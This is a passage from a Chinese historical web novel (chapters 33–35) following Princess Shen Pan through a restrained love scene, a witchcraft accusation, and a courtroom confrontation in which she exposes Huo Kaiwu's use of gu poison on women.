他的志向呢?他的亲人故友呢?多少年塞满了整颗心而不显空落的存在,仿佛在某一瞬都被沈磐挤开,现在他的心化了,血也流得干净,缩得只有丁点大,针尖之地里都密密麻麻写着“沈磐”“沈磐”还是“沈磐”!
他已然不敢相信这副禽兽模样的人,会是自己。
要逼迫她去做她不愿意的事情,这种人居然会是自己。
他最不喜听见“为你好”了,或许有真情关心,但总觉得自己背上了枷锁。
而今,他成了沈磐的枷锁。
张永一又往前走了半步,沈磐终于忍受不了这样的距离,又扯着被子往后一缩,“出去!”
“公主这么厌恶臣吗?”
闻言,沈磐又是一愣,抬头望向他,见他似是受伤极了,眼中流淌着苦楚,心口不禁更痛,痛得她更用力地蜷起身子,更用力地按住自己的心口。
他是好意,可她的好意呢?
不,她没有好意。
那回岁末他来看沈斫,她就不该头脑发热说出这样引人误入歧途的话。然后在宁安侯府,她就该远远避他不见。再有上元节,被辛翩翩开过那样的玩笑后,她怎么能和他再开心扉?不该不该不该,处处都是不该,她不该引着张永一堕入迷途,也不该放纵自己贫瘠的心野刮过一阵春风、就此播下一颗名为“张永一”的种子。
可他怎么就不懂呢?这种事上怎么能装傻充愣呢?她已然负心薄性没有良心,他却死心不改硬是要吊死在她这棵树上。
这么喜欢吗?这么爱吗?就因为自己情不自禁时的几句牢骚闲话?就因为自己的一句“张永一你娶我”的玩笑话?
沈磐深陷泥沼难以呼吸。
怎么就这样呢?怎么就这样溺入情海不可自拔呢?
33. 第三十三章 荒山冢(六)
突然,她感觉脸上一凉,抬眉就见张永一已经跪在了床边,他那遍生老茧而格外粗粝的指腹正贴在自己的脸颊。
她霎时就说不出话。
像是受了山精野怪的蛊惑,她就这么看着张永一慢慢凑近,近到他的眼瞳里映出自己狼狈的模样。
他们曾那般近地相拥,却未尝主动亲吻过彼此的嘴唇,眼睛,睫毛,眉心,鼻尖,脸颊,耳朵,除了那个月圆之夜他蹭过的下巴,处处都是未解之禁。
沈磐忽然想到那次,他们都将彼此刻进了骨肉里,衣冠还是整齐的。
正想着,唇上一凉,像是落了一片雪花。
不,雪一触即化,远不如此刻温润,像含上了一枚玉。
玉色可愉烦心,玉纯可净浊心,玉润可除躁心,古人诚不欺,她快慢参差的呼吸也逐渐平息。
吸入的空气里还混入了张永一的气味。
沈磐脑中早就乱麻一团毫无清醒可言,但她蓦地听见了张永一的喘息,一睁眼就望入他墨玉一般的眼睛。
张永一连忙移开视线。
冬日里架青纱帐,总让人觉得有些冷,帐子上还用银线暗绣着云鹤仙山,这便倍感高处不胜寒。
他像上次那样局促,不慎碰到她的脚踝都着火似的让开,却转手撩开她的裙摆。
那天纠缠了那么久,他早该轻车熟路的,可张永一像是在犹豫什么,更像在怕,怕自己指下不慎的用力便伤到了她。
她比一张薄如蝉翼的纸还要薄。
他怕点破。
可他们的关系早如漏纸的那束光,而今正穿过青纱帐,颤巍巍落在他们之间。
他再近一点,这光就将流连与他们两个人的嘴唇上。
她的吻应该一直很苦,现在,更苦不堪言。
张永一捧住她的脑袋,指尖滑落的尽是她的头发。
被华光火色一照,她的乌黑的头发应该如同缎子一样顺滑。那夜上元他见过云鬓高叠,而今却斗胆这么去想。
沈磐本已渐渐舒缓的呼吸忽然顿挫,张永一连忙回神。
她早先尚且清澈的眼睛已经被搅动得一片浑浊。
她醒着吗?
不,她已经神志不清地仰头续上了这个吻。
扣着帷帐的银钩响了两声,沈磐半醉半醒。
她还似含着那块玉。
窗外暗淡的天光晃了晃,转头彻底湮灭在仙鹤宝鼎吐出的袅袅青烟之中。
银钩又撞了几下,叮叮当当像是檐下铃铛在响。
沈磐的声音正要随着天光一起熄灭,就闻得张永一闷闷哼了一声,窗外起了大风,吹得树影狂乱,沈磐的呼吸也随他急促起来。
她按着他的后颈又亲了上来。
常有吞金自杀,料想吞玉也有这般效用。
沈磐便咕噜一声吞了玉。
**
人说锦麟卫不忌鬼神不敬天,抚远伯的人头就滚落在午夜。
但事情远远没有到此结束的意思。
五柞宫来了旨意,梅依径卧病在家,三司会审凑不齐这个总宪,便荒谬地令大理寺卿陶识礼与少卿萧蘋接管阳安伯案,还让霍轶这个虎贲卫指挥使衔领查办。
首辅冉琢明居然不发一言以对,任由《大楚律》上白纸黑字写着的祖宗家法全挥霍在一道中旨里。
毕竟,这不是他的家法,朝廷也不是他的家。
梅依径就是没有认清这点。
冉琢明叹息,蘸了蘸朱砂,在大理寺提拿师婆阿疯、纵火犯楚鹏、主使岳筑璜、帮凶王必大等人的奏疏上批红。至于下一份弹劾工部尚书薛正衢的折子,他端着笔看了好几遍,将其间的“东宫”二字念了不下数十遍,这才将折子塞到了手边小山堆似的奏疏里。
薛正衢啊。
没办法了。
冉琢明翻开下一份,继续批阅起来。但他心事重重,不可避免地走了神,一走神,目光就落在了对面书架上摆着的一只青瓷罐上。
这是他初入内阁时就有的罐子,听洒扫文正殿的内监说,这是昌南出产的雨过天青瓷,恐怕还是首辅柳曦既的旧物,一直放在这里无人敢动。
至于里面有什么。
一抔水,壁上还贴了片梅花。
后来水发臭,被倒了。
现在空无一物。
但冉琢明总觉得,这罐子像是盛了谁的魂魄,偌大的文正殿他孤身一人呆着也不觉寂寞。说起来有些吓人,他觉得总有人看着他、陪着他,但他不觉得惊悚,只在彷徨无助时,略感与空气对话仍有神思相接的安慰。
然后冉琢明也不知道自己怎么就趴在桌上睡了过去,兴许是太累了。
一觉至明,冉琢明还意犹未尽着,梦里当年他送他姑娘远嫁时的场景还历历在目,一睁眼,内监便着急忙慌地跑了进来,“大人!首辅大人!出事了!”
正殿门一开,月光就倾洒进来,小内监掌中护着的那盏灯瞬息被风吹灭,他本就因为惊骇而有些扭曲的表情更在一刹那烘托得有如鬼怪,他说的话更比鬼哭难听:“宫外传来消息,说是师婆阿疯把长平公主招了出来!”
一惊一愣,冉琢明僵结的思路顿时活络,一把抓住小内监的袖子,“你再说一遍!”
“阿疯指认,年初长平公主向她问过如何下绝生人咒!”
“年初什么时候!”
“元良郡王案发时!”
冉琢明倒吸一口了,瘫倒在椅背上。
他现在两耳嗡嗡直响,眼前只有两个血淋淋的大字写满虚空——东宫。
小内监被冉琢明的反应吓得够呛,以为这么好的首辅大人有什么三长两短,连忙扑上来要救,却见才面如死尸的冉琢明霍然站起,揣起桌上一份奏折即刻冲出文正殿。
文正殿外摇曳着灯光火色,晃得冉琢明两眼发花。
他在台阶上驻足许久,将奏疏递给小内监,吩咐他即刻送达大理寺,这才扶着门板艰难地迈回了漆黑的文正殿。忽然他又想起,冬半年宫城夜禁,陶识礼他们哪怕拿到了票拟,也出不了宫门。
月光游离在青瓷罐上,像是盛夏水波潋滟不绝。
冉琢明顺着门框滑到冰凉的金砖地上。
柳曦既啊,都说你料事如神,可你料到大楚会有这么一天吗?
**
沈磐霍然惊醒时,晋国公主沈碧已经站在了床边。
她被惊得汗毛倒竖,甫一起身,就见床褥整洁,她的衣物也穿得整齐,先前由张永一带来的一切混乱仿佛都只是一场梦。
“大晚上的,你怎么来了?”
沈磐的声音已叫人听不出虚弱,可沈碧静静打量着她,自上而下、从头至尾地打量她,还是从她红肿的眼睛和尚且苍白的唇色中窥得端倪,她又沉默地凝视许久,这才说道:“师婆阿疯说,你问过她如何下绝生人咒。”
沈磐微愣,“对,在牛马巷,我亲自去的。”
“我知道,就是那次,你要给元良找证据,却误落贼网,张永一救了你一命,所以太子提拔他当了长缨卫佥事。”
沈磐仰头,“你要说什么?”
话落,沈磐这才迎着沈碧说质疑不质疑、说好笑不好笑的眼神里反应过来,“他们居然早有预谋!派人暗杀我不成,就费尽心思要把我拉下水!”
“为何不能是刑讯逼供?”
“阿疯是要进大理寺的,京兆敢对她刑讯逼供,窦凯旋是不想继续在化隆混了。”
沈碧眼波流转,却始终萦绕在沈磐脸上,姐妹两个罕见地心意相通,沈磐霎时间明白了她的意思,“你说,如果我进了京兆府,他们也会对我用刑,毕竟窦凯旋为了报仇,已经公然投靠了霍氏,他不在乎杀了一个师婆还是一个公主。”
沈碧垂眸,“毕竟世上折磨人的法子千千万。”
沈磐莫名觉得心头热涌,似是被这十几年淡漠浅薄、一朝春来雪化的姐妹情亲冲溃了心门,沈碧却道:“他们应该来了。”
即刻,屋外传来了侍女的禀告,“京兆尹窦凯旋求见。”
沈碧转身,沈磐叫住了她,“是二哥让你来的?”
沈碧脚步不停,只垂手掀起裙摆迈过门槛,团圆在她错身走远时进了屋,在沈磐的失魂落魄中递来了一张简信,“这是晋国公主让奴婢交给公主的,说是太子殿下的信。”
沈磐的视线落了下来,落在纸上短短不过五个字的一句话——保下你自己。
是太子的笔迹无疑,也是匆忙之间写就。
五个字,说不尽写信、递信、阅信之人的心。
却诉尽了情况危急。
沈碧那么不
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爱说话、那么不爱多管闲事的人,却要在夜深人静、丈夫儿子安睡之时挡到她的面前,去与油锅里煎过百来遍的老油条应对周旋。
那么东宫呢?本就因为岳丈薛正衢而焦头烂额的太子呢?
沈磐命团圆帮她整理形容。
等她穿戴整齐,蓦地想到了张永一,“张永一呢?”
团圆轻声道:“张佥事已经走了。”
沈磐这才继续穿好了鞋袜。
一连几日不曾下床,沈磐慢慢走了几步才逐渐适应过来,等她出了房门被屋外旋天卷地的风吹得发丝凌乱,又听见前院有人回报:“京兆之人已尽数离开。”
沈碧却没有回来。
沈磐如有所失,被冷风激得剧烈咳嗽起来。
“公主,还是先回屋吧,外面风大……”
夜尽之时,听说她还在前院,但依然没有回来。
在卯时鼓响之际,沈磐终于忍受不了这种煎熬,跑得气喘冲到了前院正堂。
沈碧正襟危坐于此,手边是盏凉透的茶。看见自己双眼通红的狼狈模样,她依然是神情淡淡,眼神一扫,从不在她这里施舍过多的停留。
平日里的沈碧是晋国公主,雍容华贵,云鬓间总装点着大楚最华丽的首饰,她的裙裳也是最盛大最妥帖的,从来都是化隆城里女子争锋追逐的翘楚,出行就更不用说了,十里外皆知此地有鸾凤之气。
可现在她不饰一物,上裙下裳都是墨绿色的,和这晚天几乎要融为一体,不苟言笑时,仿佛她生来就是这样端坐正堂不染风雪又浸于尘沫的神佛。
她并不是生来就这样生人勿近,但自沈磐有记忆以来,她就是这样拒人于千里。
沈磐是人,所以她也拒自己于千里。
沈磐忽然就忍不住眼泪,嘴角全是嘲讽,背过身却润湿了眼眶。
“待会儿大理寺来人……”
“我会去。”
沈碧扭头端详她的背影,喉咙又堵了起来。
她想说什么呢?
说,东宫会帮你料理好一切的,你不用去大理寺,也不必在那些地方折辱你的尊严。
说,磐磐,你只需要周全你自己。
算了,不重要。
沈碧转过脸出声:“哦,好。”
大理寺的确来人了,还是少卿萧蘋亲自领人登门,沈碧再没阻拦,只目送萧蘋恭恭敬敬地将沈磐迎上大理寺预备的轿撵,转身就让人去临川郡主府传信,如果临川郡主不在化隆,就去江西道找人。
沈磐自然是不知道这些的,只在步入大理寺时,在东直门甬道上看见了她的姐夫郇渰。
她就此想,对丈夫郇渰,对儿子郇渊,她也是那么冷淡疏离么?
哪怕是还未嫁人前,沈碧也从未和她吐露过半点少女心思,她甚至不会直接回答所有关于满不满意这桩婚事的问题,她只会一味地感谢天恩、感谢亲长、感谢大楚国运昌盛。毕竟只有她们吵架、吵得她再也无法维持公主体面和长姐威严的时候,她才会似讽似笑地说上一句:“嫁一个长得不错的夫婿,到一个各方面都不错的新家,还能有什么不满?”
郇渰便是那个长得不错的夫婿,襄阳侯府就是那个各方面都不错的新家,她没什么不满。
沈磐谢过萧蘋的客套,直入冰凉的大理寺狱。
可她一直如同这森冷的大理寺狱前铸的黄铜狴犴一样,没有不满,因为从来都是空的。
铸像是空的,心更是空的。
大理寺卿陶识礼已经等在了提审房。
据说他在升平年间就是三品刑部侍郎,兜来转去三十余年,他成了一府之首脑,却仍然位不过三品,不允入阁。但这小老头并无不满,办事以外时常是笑对人的,只是他太过于勤业,以至于真见他畅怀大笑的时候寥寥无几。
陶识礼朝她俯礼。
“陶少卿想问什么,本宫都知道,不过有件事情,陶少卿应该不知。”
陶识礼:“公主请讲。”
“阿疯招供说本宫询问绝生人咒确有其事,但本宫只是想为元良郡王寻证,并未摆弄巫蛊。而真正摆弄巫蛊的人,应当是给本宫下蛊的霍开武。”
一瞬。
两瞬。
三瞬。
陶识礼乃至垂手站在一旁陪审的萧蘋都惊住了。
34. 第三十四章 荒山冢(七)
霍开武被衙役押解入狱的时候,沈磐还没有走。一见沈磐还坐在堂上,才和萧蘋对骂得面红耳赤的霍开武骤然笑了,“原来是你。”
萧蘋还没来得及叱骂霍开武的傲慢无礼,就见自门外投进的天光一灭,上首仍和颜悦色的陶识礼拍案而起,指着气势汹汹闯进来的不速之客喊道:“霍指挥使!”
霍轶朝陶识礼虚虚抱拳,却是理都不理少卿萧蘋,径直走到沈磐跟前,朝一步挡出来的陶识礼笑道:“本将乃陛下钦定的调查主使——”
说着,跟在他身后的虎贲卫递上一卷圣旨,霍轶接了送到陶识礼眼前,“见此旨如见陛下……”
沈磐劈手夺过那卷圣旨,在霍轶半句咒骂声里,拎着卷轴将圣旨抖落,“唰”的一声,堂上所有人的视线都聚焦过去,萧蘋眼神敏捷,即刻冷笑道:“霍指挥使原来是抚远伯巫蛊案的调查主使,不过,抚远伯不是昨夜就被锦麟卫行刑了么?霍指挥使不知道吗?”
霍轶斜睨他一眼,“本将军自然知道,听闻长平公主也是抚远伯巫蛊案中的要员,故而本将依律行使职权,要提长平公主殿下前去问询。”
沈磐慢条斯理将圣旨卷好,袖子一扬就摔在了一旁霍开武心口,“本宫是皇室中人,霍指挥使想提本宫闻讯,怕是还不够格吧?且你们虎贲卫专司西北,可有过调查办案的经验?霍指挥使要把本宫提到哪里去?你们霍家的私牢吗?”
霍开武被砸得胸闷气短,却只能在霍轶的眼神威逼下隐忍不发,听自己的小叔憋屈地应对母虎:“公主这般践踏末将,这般凌辱圣旨,是在藐视陛下吗?”
沈磐笑了,萧蘋道:“公主只是在陈述事实,霍指挥使不要故意歪曲。虎贲卫的确没有办案查案的经验,案子已交到我大理寺手中——”
陶识礼出声打断:“霍指挥使上承陛下之命,协助本寺调查此案,有权参与闻讯,只是嫌疑之人本寺已依律提拿,内阁也已应允本寺的问询之请,霍指挥使如有疑问,请往内阁致信。况且——”
陶识礼踱步,走至霍开武跟前,瞥着霍开武怀中那卷圣旨,“霍指挥使如何听说长平公主与巫蛊案有关?本寺也是刚刚才得知实情,令侄霍开武向长平公主下蛊,意欲谋害皇女,罪大恶极,霍指挥使在五柞宫恭请圣旨,如何在瞬息间得知城内谣言?还带领虎贲卫诸人来大理寺咄咄逼人?”
霍轶脸上的笑一瞬间阴狠,“陶寺卿也是先入为主了,现在案情尚不明晰,怎么就辨出了‘实情’和‘谣言’?陶寺卿这么亲亲相帮,这可让末将如何与陛下回禀?”
萧蘋张口要为上官辩解,就听霍轶笑道:“这也就罢了,我侄儿开武如何就向长平公主下蛊了?这其中莫非有什么隐情?这案子还没审过,陶寺卿就这么武断,末将十分担心大理寺的公允。”
“那便由我等陪审。”
闻言,堂内众人转身看向门口,刑部侍郎阮折纭和佥都御史李闻达齐齐走来。刚才说话的是李闻达,他朝沈磐一拂身,“元辅和总宪不在,我等尚不敢说有资格提审皇家公主,但霍开武一介白衣,大理寺依律讯问,总不会僭越,霍指挥使您看呢?”
“白衣”二字,李闻达咬得极重,霍开武的脸当即白了。
不待霍轶答话,萧蘋便点头睨着他们叔侄:“如此甚好,以免我大理寺‘亲亲相帮’,失了‘公允’。”
阮折纭摆明是支持的,这下霍轶便是不愿也得低头,朝陶识礼略一颔首,“那好,就趁今日,便一同审了吧。”
霍开武微瞪双眼,却在瞬息间,四肢凉透的血猛冲回心腑就此沸腾,看向萧蘋等人乃至沈磐的眼神里,都透射着遮掩不住的兴奋与得逞。
陶识礼心知不妙,但事已至此,他只能命人收拾正堂,硬着头皮进行这场礼法规矩之外的问讯。他请阮折纭上座,阮折纭却委婉推拒,与霍轶分立左右两边。萧蘋自然要跟在他身边,李闻达是跟着阮折纭来的,便要站在阮折纭身边,对面霍氏叔侄并肩,唯留下沈磐站在正堂的正中央。
陶识礼看得见沈磐一脸洒落,更觉得事情的发展恐怕会令人大吃一惊。
果然,霍开武率先发难:“公主说我给您下了蛊,可有证据?”
“本宫便是证据,春华楼被锁在底层的那些风尘女子便是证据。”沈磐伸手,一捋起袖子,露出左手脉搏处皮肤下印出的黑色血纹,“这便是证据,你应该不陌生吧?”
霍开武笑道:“这算什么证据呢?陶寺卿,你说这能算是证据吗?”
沈磐一步迈出,逼近咄咄逼人的霍开武,“这如果不是证据的话……春华楼鸨母鸳娘的口供,可算是证据?”
霍开武的笑容一滞,随即反应过来大笑道:“一个靠皮肉吃饭的风尘女子,她嘴里能有什么实话?自然是谁给的钱多,谁就是恩客,就要帮谁说话——”
“鸳娘不够的话,被你下了蛊强占了清白的吴琉光姑娘可算人证?吴姑娘虽然是商人之女,却也是清白良善之人,你因为贪恋吴姑娘的美色,动用官场关系,刻意陷害逼得吴家生意凋敝、家破人亡。吴姑娘现在就被你锁在启复门外,你那一对不见天日的双胞胎女儿就是她的骨血。”
霍开武轻哼:“公主都说了,她是商女,商女重利——”
“那被你种了蛊养在私宅充作玩物的宣妙姑娘可算人证?要知道宣姑娘是前府军卫指挥使宣钦的女儿,宣钦一被夺职,她就被送给了你,她的生母、弟弟全捏在宣家手中,宣钦的前程也全捏在霍家手中,她总不会为了钱财而攀污你。”
李闻达讶然:“竟有此事!”
沈磐笑道:“这种下蛊之事,或许宣钦也知道不少。毕竟把女儿这样送出门,他难道不希望捞一个名分、留一支血脉、分一份家产、得一笔助力吗?宣姑娘因为中了蛊而不能生育,他难道会不着急吗?”
李闻达肃然,似是心中已有了谋算。
霍轶见早被刮过一次骨的宣钦又被提了出来,不禁恼怒,但眼下局势愈演愈烈,对他们越发不利,他只能稳住心思小心应对。斟酌了词句,霍轶道:“这些不过是一些风流艳史,拿到庙堂上说实在下流——”
“□□穿金装坐高堂,这才是真正的下流。”
霍轶按剑,半步向前,回瞪气焰喧腾的沈磐,沈磐却无所畏惧,仍面色平静地注视霍开武继续说:“不仅是春华楼、启复门外,还有羊车巷,阳安伯崔家隔壁养着一位娇滴滴的大美人,也正被蛊虫折磨得形销骨立,陶寺卿也该派人看看了,说不定那崔家案还能别有洞天。”
陶识礼即刻朝门外侍候的属僚招手:“听见了?即刻去查。”
阮折纭补充道:“还有春华楼与启复门两处,尤其是启复门外吴家之案,我刑部可以派人协查。”
陶识礼拱手,“有劳。”
他又看向李闻达:“宣家之事,还望都察院相帮。”
李闻达回礼,摩拳擦掌,“这是自然。”
现在,堂内所有人的目光都落在了霍氏叔侄身上,却不见预料中的紧张神色在两个人中任何一人脸上出现,才因为局势明朗而心境开阔的陶识礼骤然明白,先前自己的不安从何而来。
于是,霍开武就这么将他的不安掀起了一角:“唉,这些都是嵇阑告诉公主的吧?”
他甩甩头,“公主一介女流,如何能有那么多眼睛,帮你盯着化隆上下的动作?若不是嵇阑,那就是东宫了?”
萧蘋大呵:“你休要胡乱攀扯!”
“那就是嵇阑了!”霍开武偏头看萧蘋,“嵇阑可不是个会倒贴的,看来公主确如传闻所言,不是与男人不清不楚,而是已与嵇阑纠缠不清已非完璧。”
“霍开武你……”
沈磐一步挡住他们两人相接冒火的视线,又见霍开武歪过脑袋,朝她身后的萧蘋大笑:“萧少卿,你怎么这么着急?你也一直爱慕着公主吗?”
陶识礼拽住萧蘋的袖子。
“嗐,或许当不了驸马,情人面首也能捞上一个,毕竟——”
沈磐冷冷问:“毕竟什么?”
霍开武挑眉。
“那天你逼我喝酒,是早就算计好了,这蛊虫一种便难以生育,今
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后你我若成婚无子,你便可将流言蜚语尽数推到我的身上,便是在外花天酒地也无人多管,此后便是我出了什么以外,都能说是求医问药不慎走偏的结果。霍开武,不,是你们霍家,算得真好。”
霍轶听出了不对,让霍家与东宫联姻,本是陛下权衡再三后的上上策,如若扯上了什么阳奉阴违的谣言,再让已经神志不清的陛下听见了,天知道要有什么变数。
可他刚要开口就被霍开武狂笑着抢先:“公主是从哪里听来的这些胡说八道呢?是嵇阑那小子说的吧?他一直与我不睦,这是满化隆城人尽皆知的事情。他也是被他爹给逼急了——”
霍开武踱步,“毕竟他都二十好几,这爵位迟迟没有定下,他在化隆城的酒楼商行埋过不少人手,这种牛马巷里腌臜的勾当,岂不是招手即来?他从小城府极深,又凭着皮囊话术惯爱蛊惑人心,公主你就是被他骗了,一边被他糟践、吃这样的苦,一边替他冲锋陷阵、遭这样的罪。”
见沈磐有话要驳,他连忙又道:“偷鸡摸狗之事他没少做,有他爹还有他叔叔在,谁敢和他清算呢?不过谋害公主这样大的罪责,就算是嵇侯爷和嵇将军想要包庇,三法司也不会应允吧?”
说着,他阴笑着摇头:“不对不对,这就是我有失偏颇的地方了。”
他看向早已经被气得七窍生烟的萧蘋,“我记得萧少卿是兰陵萧氏出来的,和前襄阳侯沾亲带故。萧家没落得早,若不是这位老郇侯帮衬,在升平年间你们就要回家种田了吧?看见襄阳侯府一家因为尚主再获荣光,这么好的终南捷径,你们家——你,全天下如你这般的人谁不动心呢?现在你也老大不小了,却迟迟没有娶亲,萧少卿这种出身不用像贫穷举子一样待价而沽,更让人不解的是,萧少卿居然连个通房妾室都没有,在外也不宿秦楼楚馆,若不是有什么不可言说的癖好,那应当是要为娶不得的公主守身如玉了?”
陶识礼拉不住,阮折纭挡到了萧蘋身前,正好进入霍开武的视野,霍开武继续笑:“阮侍郎?阮侍郎的母亲姓陈,正是先皇后的堂姐妹,令尊阮伯矶在升平朝到老都只是个都水清吏司郎中,却因为陈家变成了外戚,令尊这才捞了个三品工部侍郎光荣退休。所以啊,东宫是你阮家的恩人,皇后生的长平公主自然也是你阮折纭的恩人。”
阮折纭默认。
霍开武最后看向已经四十好几、两鬓斑白的李闻达,“李御史就更不用说了,我听闻你与嵇阑是忘年交,他又在菁明书院替你那个被雷劈了都放不出一个屁的儿子出头,李御史心里这杆秤到底是往哪里偏的,大家有目共睹。”
至此,堂内除了陶识礼,每一个站在霍氏对面的人都被扒遍了老底,霍开武陈词总结:“所以啊,三法司亲亲相帮、官官相互,难寻公允。”
沈磐再也忍不了霍开武这番无理取闹和无事生非,一脚踩上霍开武最敏感的禁忌,“你将三司贬作烂泥,却忘了,烂泥之下,究竟谁才是腐蠹。”
她笑一声,看向霍轶:“本宫听说,令郎常与霍开武厮混一处,常在歌台酒肆大放厥词,还被歹人勾引着吸食禁物。”
话才说了一半,霍轶的脸就青了。
霍开武讥笑:“又是嵇阑在构陷人。”
“不,是本宫亲耳听见的。”
众人俱是一惊。
“师婆阿疯说本宫曾在元良案中询问过绝生人咒,不错,本宫的确亲自前往牛马巷,花重金求教于她,但问了不过一会儿,就有一批训练有素的杀手要谋害本宫,本宫逃至一处酒楼,万幸躲过了追杀,却无意撞见霍指挥使的公子霍开德聚众□□,期间还发表了不少关于堂兄霍开武的议论。”
“公主想编,也得编得像一点,既然是训练有素的杀手,公主又是如何逃脱的呢?”
“自然是有长缨卫护送。”
霍开武一哂:“他们难道不会预先处理掉埋伏在巷口的长缨卫么?那他们可真算不上训练有素,只能说是东宫的长缨卫太过废物,而公主的本事太过顶天。”
“你怎么知道长缨卫都在巷子口?”
35. 第三十五章 荒山冢(八)
霍开武笑:“不过随口一说。”
沈磐扬眉,状似不欲纠缠这处细节,萧蘋不禁着急,却听沈磐毫无波澜的声音霍然将寂静的大堂砸开一个漏光的窟窿,“霍开德说——他的堂兄身有妨碍,自从和吴琉光生下两个女儿后,便愈发力不从心,又怕那些海狗肾之类的壮阳药损害自己的根本,便用蛊虫迫害女子供他玩乐。”
一瞬。
两瞬。
三瞬。
在堂上诸人古怪的神色里,霍开武勃然大怒:“放屁!你在胡说八道!”
“他还说——”
霍开武莫名就安静下来,听沈磐冷飕飕继续说:“还说本宫桀骜不驯,你也打算用些蛊虫让本宫好看——”
霍开武霎时伸手要扼住沈磐的脖子,众人来不及反应,只听得堂内一声暴吼,就见霍开武的脸上已经落下了沈磐的掌印。
沈磐倒吸一口凉气。
她的手真是疼坏了。
被霍轶攥住的手腕更是骨折般疼。
她咬牙道:“霍指挥使,僭越了吧?”
霍轶甩开沈磐的手,按住双眼通红、青筋暴突的霍开武,“公主,别太过分了。”
沈磐揉着手腕,“这就过分了?”
她勾唇,目光恶毒地扎向失控边缘的霍开武:“那天千秋节,你是怎么打本宫的呢?”
她的声音极低,神情却张扬跋扈得可怕,“你又是怎么骂我的呢?你骂我什么?贱人?还是□□?”
她极尽嘲笑:“你怎么敢的?你怎么有脸的?被嘲笑的人不该是你吗?那些被你视为贱人和□□的女子,她们没嘲笑过你吗?银样邋枪头,不仅不中看,更不中用——”
霍开武终于按捺不住了,猛然挣脱了霍轶,掐着沈磐的脖子就往地上按,嘴里大喊:“你她妈就是个贱人!□□!那印记这么深,应该被嵇阑口口过很多次了吧!”
听得堂内脚步乱响,沈磐剧烈咳嗽着连连倒退,幸好被撞翻了笔墨赶下来的陶识礼扶了一把,这才没有摔得头破血流。对面,萧蘋和李闻达按着还在怒骂不止的霍开武,阮折纭挡在要动手的霍轶面前,高声叫人。
“污言秽语、咆哮公堂,快把暴徒拉下去!”萧蘋捂着霍开武的嘴高喊。
“谁敢!”
阮折纭威胁:“霍指挥使,令郎吸食禁物,这种有辱门风、践踏国法的事情还是不要传到五柞宫为好。”
霍轶按在剑柄上的手终于松开。
沈磐忽然笑一声:“那印记代表什么你这么清楚?还有牛马巷,长缨卫埋伏在哪里你也这么清楚,你终于是全都承认了。”
堂上一静,最先反应过来的李闻达指着仍要暴吠的霍开武大喊:“霍开武,你下蛊陷害长平公主!这是危害陛下、危害大楚声誉的重罪!陶寺卿,都察院请求将此人下狱审问并协从办案!”
阮折纭仍然与霍轶对峙,“刑部附议。”
**
大理寺的闹剧,一个中午就传遍了宫里宫外,沈磐回府堪堪睡下,太子就来了。
嵇阑也来了,来得很不是时候,与太子、张永一刚好打了照面。
他觉得如芒在背,得了太子一个冷眼后反倒舒出一口气。
太子生气是对的,他知道太子生气就好。
嵇阑心中叹息,眼见着太子因为沈磐休息的消息而更加恼怒,不禁一个转身就溜达上了游廊,想远远观望,却被太子出声叫住:“嵇公子!”
嵇阑只能转身应对,“微臣参见太子殿下,见过张佥事。”
太子轻哼,似笑非笑,“自称‘微臣’?本宫记得,你没有功名也没有官身,那你何言‘微臣’?”
“率土之滨莫非王臣,我是大楚子民,自然是陛下的臣、东宫的臣。”
太子半步向前,“我倒希望你回答本宫说的是,你是沈磐的臣。”
嵇阑抬眼,与之视线相接,看清了太子眼中的威胁和几乎不可能存在的希冀,他似是受到了莫大的鼓舞和山重的压力,又像是承受不了这样殷切的希望,他连忙移开视线,看向了一边的张永一。
他才是沈磐的臣。
他必然听见了太子最后的这句话。
嵇阑倍觉残忍,不仅对他,也对自己。
太子笼袖,“嵇公子既然愿做我东宫的臣——”
嵇阑颔首,以示赞成。
太子倾身,“想来嵇家的其他人也该与你走同样的路吧?”
嵇阑不答,沉默中不知混杂着什么情绪。
太子抿唇直身,“事已至此,别让我知道你对不起沈磐。”
嵇阑望向张永一。
张永一的眼睛如同悬崖深潭。
嵇阑坚定道:“不会的。”
太子略感奇怪,侧身顺着他的视线看去,只看见了默默不语的张永一和张永一身后满院的深冬雪色。再回头时,嵇阑已经垂下视线,如同张永一般,将臣下的顺从服服帖帖地遮满全身。
他心里不仅暗笑,笑得不解,笑得荒唐。
他的磐磐最是不羁、最能勇敢、最爱自在的,她如何会喜欢这样如同笼中鸟缚起双翼的软弱之人?嵇阑这个人,在他跟前表现得温和顺从,想来在只有沈磐的时候,会是张扬恣意的某人——那个他恨不得杀了的僭越礼法的某某人。
他突然有了种女大不中留的苦恼。
太子转身,刚要扣门,犹豫了瞬息便改了念头,转身带着张永一走远。嵇阑还站在原地,太子不禁驻足回头,神情严肃,“别打扰她。”
嵇阑只能在太子的注视下,熟稔地从后门离开。
“张永一。”
“臣在。”
太子望着嵇阑消失的方向,“你能致信崖然吗?”
“遵命。”
“别让沈斫知道。”
“臣明白。”
太子长长叹息,“从小到大,她和她三哥最为亲近,但就是这样,有个头疼脑热也强撑着不告诉别人,她三哥心细,偶尔能够发现,很多时候都是她一个人默默熬过去的……有一次年关,我们跟着陛下去紫微宫祭拜,她不肯去,我们只以为是她心情不好,她又把自己的婢女内监全都放了小假。结果,是她发了高烧,烧得不省人事,最后是沈斫背着她走去的太医院。”
“公主……是不想让殿下担心。”
太子笑得无奈:“她这样,我们才最担心。”
他低下头,理理被风吹乱的袖子,“在宁远时,沈斫也是这样默默硬扛的吧?”
张永一点头。
“嗐,她们姐弟真是……小的带坏大的,大的纵容小的……”
太子边念边往外走,刚走到公主府正门照壁处,就见候在门外的长缨卫急得原地乱转,他连忙跑了出去,还没来得及问,鹅毛大雪便迎面而来。
他眼前一黑,只听长缨卫的声音回荡在公主府前的长巷里:“有人举报薛尚书府中家人行巫蛊,指挥使霍轶拿着授命圣旨,已经带了虎贲卫往薛府去了!”
**
“叔!”嵇阑赶在嵇阙被叫走前堵住了门,他猛喘一口气,在转瞬湮灭的呵气里拽住嵇阚的手臂一字一句道:“我见到了太子。”
嵇阙盯着嵇阑片刻,扬声对侍从吩咐:“告诉霍家人,我马上就到,不准提起他。”
侍从疾步退下,嵇阑略略定心,“叔,太子想要拉拢咱家——”
“一仆不侍二主。”嵇阚朝正堂的方向仰头,“那边等着给我们家下达命令的,才是我嵇家的主。”
热气散去,再无遮掩,嵇阑的眼睛里闪出异光,“叔,我们就要一辈子给霍家当奴仆嘛?”
“你是被富贵女色迷了心——”
嵇阑死死拉住要往外走的嵇阚,“翻身做主的机会就在现在!”
嵇阚止步,“霍辄和陈王都在陛下身边。”
“但太子监国!”
